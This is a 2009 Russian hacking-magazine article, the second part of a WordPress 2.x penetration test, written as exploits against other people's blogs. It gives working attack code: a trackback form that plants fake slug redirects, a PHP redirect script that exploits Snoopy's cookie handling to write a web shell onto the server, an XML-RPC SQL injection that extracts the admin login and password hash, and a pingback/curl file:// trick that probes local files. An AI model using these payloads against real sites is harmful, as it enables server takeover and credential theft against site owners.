Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English  
Хакер ищет продавцов рекламы Хакер ищет продавцов рекламы
Xakep.ru приглашает стажеров на должность менеджера по работе с клиентами. Резюме присылать по адресу hr@glc.ru....
Анатомия Cryptolocker Анатомия Cryptolocker
Он прост, как автомат Калашникова, но реально опасен. Ведь это он заставил тысячи незадачливых пользователей платить деньги своим создателям и ухитрился поставить на бабки сотрудников полиции Массачусетса (им пришлось покупать биткоины, чтобы расшифровать свои данные)!...

Хакер № 05/09 (125)

WordPress или вагон 0day уязвимостей. Продолжаем хак популярнейшего движка

Маг (icq 884888, http://wap-chat.ru)


Рамки предыдущей статьи не позволили мне рассказать еще о нескольких интереснейших неопубликованных уязвимостях и банальных недоработках WordPress. Так что сейчас ты сможешь прочитать продолжение penetration-теста известнейшей блоговой платформы. Итак, поехали!

Статистика

Для начала я хочу привести некоторые статистические данные из исследования, которое было проведено мной в середине января сего года.
Из выдачи горячо любимого всеми Гугла было случайным образом взято 33534 уникальных блога, работающих на WordPress, которые затем были распарсены в попытке определить их версию. Вот что из этого получилось:

  • 1.5.x - 207 блогов (0.6%)
  • 2.0.x - 1624 блога (4.8%)
  • 2.1.x - 1219 блогов (3.6%)
  • 2.2.x - 2175 блогов (6.4%)
  • 2.3.x - 4366 блогов (13%)
  • 2.5.x - 4343 блога (12.9%)
  • 2.6.x - 8715 блогов (25.9%)
  • 2.7.x - 5986 блогов (17.8%)
  • Unknown - 4899 блогов (14.6%)

Можно понять, что наиболее популярными и представляющими для нас с тобой интерес ветками являются 2.3.x, 2.5.x, 2.6.x, 2.7.x (2.4.x разработчики пропустили по определенным причинам).

В то же время, в этих ветках найдено и опубликовано очень малое количество уязвимостей (напомню, что последняя sql-инъекция была в паблике в 2.2.2 версии).
В первой части статьи я постарался исправить это недоразумение, но, как ты уже понял, это были далеко не последние приватные уязвимости вордпресса...

Шутка юмора

Представь, что на нужном нам блоге присутствует пост с адресом http://lamer/wp233/2009/03/20/hello-world. Ты хочешь насолить/подшутить над админом и сделать так, чтобы этот пост имел еще и адрес вроде http://lamer/wp233/2009/03/20/this-is-a-sucker-post. Разработчики вордпресса с радостью предоставляют тебе такую возможность! Но что это: баг или фича – я не знаю :).

Для начала детально разберем механизм постинга комментария в последней на момент написания статьи версии 2.7.1.

1. Файлик wp-comments-post.php (а также wp-trackback.php), через который проходят все комментарии имеет в себе следующий код:

$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$comment_id = wp_new_comment( $commentdata );

2. Эту функцию мы можем легко отыскать в ./wp-includes/comment.php:

function wp_new_comment( $commentdata )
{
...
$comment_ID = wp_insert_comment($commentdata);
...
}

3. Там же проводим небольшой реверсинг:

function wp_insert_comment($commentdata)
{
...
if ( $comment_approved == 1)
wp_update_comment_count($comment_post_ID);

return $id;
}
function wp_update_comment_count($post_id, $do_deferred=false)
{
...
elseif ( $post_id ) {
return wp_update_comment_count_now($post_id);
}
}
function wp_update_comment_count_now($post_id)
{
...
do_action('edit_post', $post_id, $post);
return true;
}

4. Action edit_post определен в ./wp-includes/default-filters.php:

add_action('edit_post', 'wp_check_for_changed_slugs');

5. Находим нужную нам функцию в ./wp-includes/post.php:

function wp_check_for_changed_slugs($post_id) {
if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
...
// if we haven't added this old slug before, add it now
if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
...
}

6. И, собственно, зачем весь этот код нам был нужен, ./wp-includes/query.php:

function wp_old_slug_redirect ()
{
...
$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
...
wp_redirect($link, '301'); // Permanent redirect
exit;
endif;
}

Из анализа вышеприведенного кода следует вывод: если в БД для определенного поста присутствует значение «_wp_old_slug», то по нему проводится редирект на настоящий адрес поста. Чтобы добавить это значение, твой комментарий должен быть зааппрувлен. Как оставлять комментарии без проверки модератора, ты уже знаешь по первой части статьи :). Теперь, наконец-то, готовый эксплойт для нашей шутки:

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
Slug:<input name="wp-old-slug" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

В поле «Slug» вставляй новое имя для подходящего поста и показывай ссылку админу, наблюдая за его реакцией.

Небезопасный Snoopy

Настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог.

Итак, вспомним об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3.

Я догадываюсь, чем они думали, смотря на пост девблога с такими словами:

A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shown in the Dashboard. Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.

А также при сравнении кода Snoopy из WordPress <= 2.6.2:

exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);

– с кодом Snoopy из WordPress <= 2.6.5:

exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);

Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый). Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем.

Такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку.

1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php;

2. Скрипт code-exec.php должен содержать следующий код:

<?php
header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
header("Location: https://chto-ugodno.com/?feed=rss2");
?>

После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл. Теперь разберем, где и почему это возможно:

1. Только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов;

2. Только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php, плюс бинарник курла проверяется на существование и исполнимость:

if(!$this->curl_path)
return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;

3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту). Во время нее он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. Как можно понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался.

4. Это работает не только в кукисах, но и во многих других заголовках. Например, мы сможем передать произвольный код в заголовке HOST следующим образом:

<?php
header("Location: https://lal`my evil command`.com");
?>

Хитрый upload

На очереди – замечательная SQL-инъекция, обнаруженная товарищем Электом больше года назад во всех вордпрессах версий 2.2.x-2.3.x. Для ее использования юзер должен обладать правами «upload_files» (то есть, роль Автора/Редактора).

Рассмотрим исходный код интерфейса для удаленной публикации в WordPress - xmlrpc.php (да-да, именно в этом файле было обнаружено наибольшее число SQL-инъекций движка). В интерфейсе присутствует метод metaWeblog.newMediaObject, являющийся прямой отсылкой к функции mw_newMediaObject. Проведем небольшой реверсинг:

1. ./xmlrpc.php

function mw_newMediaObject($args)
{
...
$blog_ID = (int) $args[0];
$user_login = $wpdb->escape($args[1]);
$user_pass = $wpdb->escape($args[2]);
$data = $args[3];
...
$name = sanitize_file_name( $data['name'] );
$type = $data['type'];
$bits = $data['bits'];
...
$attachment = array(
'post_title' => $name,
'post_content' => '',
'post_type' => 'attachment',
'post_parent' => $post_id,
'post_mime_type' => $type,
'guid' => $upload[ 'url' ]
);
// Save the data
$id = wp_insert_attachment( $attachment, $upload[ 'file' ], $post_id );
...
}

2. ./wp-includes/post.php

function wp_insert_attachment($object, $file = false, $parent = 0)
{
...
$object = wp_parse_args($object, $defaults);
extract($object, EXTR_SKIP);
...
if ($update) {
$wpdb->query(
"UPDATE $wpdb->posts SET
post_author = '$post_author',
post_date = '$post_date',
post_date_gmt = '$post_date_gmt',
post_content = '$post_content',
post_content_filtered = '$post_content_filtered',
post_title = '$post_title',
post_excerpt = '$post_excerpt',
post_status = '$post_status',
post_type = '$post_type',
comment_status = '$comment_status',
ping_status = '$ping_status',
post_password = '$post_password',
post_name = '$post_name',
to_ping = '$to_ping',
pinged = '$pinged',
post_modified = '".current_time('mysql')."',
post_modified_gmt = '".current_time('mysql',1)."',
post_parent = '$post_parent',
menu_order = '$menu_order',
post_mime_type = '$post_mime_type',
guid = '$guid'
WHERE ID = $post_ID");
}
...
}

Проследив весь путь переменной $type, ты поймешь, что никто не позаботился о ее фильтрации перед вставкой в SQL-запрос :). Поэтому мы легко сможем проинжектить UPDATE запрос, например, послав такой POST-пакет к xmlrpc.php:

<?xml version="1.0" encoding="UTF-7"?><methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>[ИМЯ_АВТОРА]</string></value></param>
<param><value><string>[ПАРОЛЬ_АВТОРА]</string></value></param>
<param><struct>
<member>
<name>name</name>
<value>xxx.gif</value>
</member>
<member>
<name>type</name>
<value>gif',(select concat(user_login,':',user_pass) from wp_users limit 1))/*</value>
</member>
<member>
<name>bits</name>
<value>HELLO WORLD!</value>
</member>
</struct>
</param>
<param><value><string>77</string></value></param>
</params></methodCall>

После отправки пакета на блог жертвы поторопись пройти в админку: Manage => Uploads. В поле «URL» в случае удачного срабатывания эксплойта ты увидишь хеш и пароль админа.

Фокусы с курлом

Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.

Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.

Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса «file://»! Но, как правило, префиксы проверяются скриптами еще на входе и, казалось бы, «file://» заюзать невозможно. Однако никто не подумал о том, что curl поддерживает переадресацию с помощью флага «CURLOPT_FOLLOWLOCATION». То есть, – подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание:)).
Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):

1. ./wp-includes/http.php

class WP_Http_Curl {
function request($url, $args = array()) {
if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );

Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа! Дальше опустим заумный код, но скажу лишь, что по дефолту (всего возможны четыре варианта) в качестве транспорта http-данных вордпресс выбирает курл:

function wp_remote_get($url, $args = array()) {
$objFetchSite = _wp_http_get_object();

return $objFetchSite->get($url, $args);
}

2. Функция, приведенная выше, используется в ./wp-includes/functions.php:

function wp_remote_fopen( $uri ) {
...
$response = wp_remote_get( $uri, $options );
...
}

3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:

function pingback_ping($args) {
...
$pagelinkedfrom = $args[0];
$pagelinkedto = $args[1];
...
// Let's check the remote site
$linea = wp_remote_fopen( $pagelinkedfrom );
...

Теперь у нас есть все необходимое для написания эксплойта, – к чему мы сейчас и приступим.

А был ли файл?

Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][. Для работы нам понадобятся два файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php. Предположив, что адрес нашего блога – lamer.com/blog и что тестовым стендом является Винда, начнем работу над необходимыми файлами:

1. ./ping1/index.php

<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>

2. ./ping2/index.php

<a href="http://lamer.com/ping1/?p=2">Ping2</a>

В этом примере первый файл сможет пропинговать второй, благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:

// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
return new IXR_Error(0, __('Is there no link to us?'));

В этой проверке вовсе не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога. Например, в конце URL после решетки.

Все готово для проверки наличия файла c:\boot.ini на тестируемой системе.

Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>

После отсылки пакета ты сможешь получить два ответа от сервера:

1. Если файл c:\boot.ini существует, то блог пришлет такой ответ –

Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)

2. Если такого файла нет, то жди такого ответа –

The source URL does not exist.

Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что, в комментарии-пингбэке ты увидишь лишь что-то вроде:

[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]

Содержимое c:\boot.ini остается где-то под катом :). Описанный способ эксплуатации уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача.

To be continued...

Ну что, ты все еще считаешь WordPress безопасным движком? Не забывай: злостные кодокопатели ежедневно вдоль и поперек мучают WordPress codebase. Как говорится, «Продолжение следует...» :).

INFO

Спасибо Raz0r за написание code exec эксплойта для WordPress 2.6.x, а также Elekt за предоставленные уязвимости.

Ссылки по теме

Содержание  


ВИДЕО К ЭТОМУ НОМЕРУ

На седьмом небе с Windows Se7en
В семерке и сопутствующих инструментах сделан ряд действительно полезных усовершенствований, которые позволят получить действительно легко управляемую и безопасную систему...

Во власти гипервизора
В этом ролике мы установим Citrix XenServer и создадим виртуальную машину при помощи XenConsole...

Вскрываем SSL
То, насколько просто могут утечь логины и пароли, мы покажем в этом видео. Будь осторожен!...





Предыдущие номера


Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни редакция не несут ответственности в случае ее использования в противозаконных целях.

    Rambler's Top100